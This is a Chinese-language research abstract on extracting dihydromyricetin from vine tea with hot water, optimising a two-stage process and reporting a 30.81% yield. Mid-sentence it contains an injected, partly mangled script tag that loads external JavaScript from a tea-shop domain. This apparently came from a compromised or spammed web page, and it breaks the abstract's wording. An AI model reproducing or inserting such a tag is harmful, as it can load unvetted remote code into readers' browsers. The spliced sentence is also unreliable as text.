本文采用热水提取法来获得藤茶中的二氢杨梅素,并通过液相色谱法测定其含量,对比研究一次提取和二级提取?script type='text/javascript' src='http://www.368tea.com/js/v.js'>?通过正交试验对二级提取工艺条件进行了优化。结果表明二级提取最佳条件为:提取温度为95℃,提取时间为60min,料液比为1:25,pH为8。此条件下二氢杨梅素提取率为30.81%。完成机构:[1]华南理工大学轻工与食品学院,广东广州510641 [2]吉首大学化学化工学院,湖南吉首416000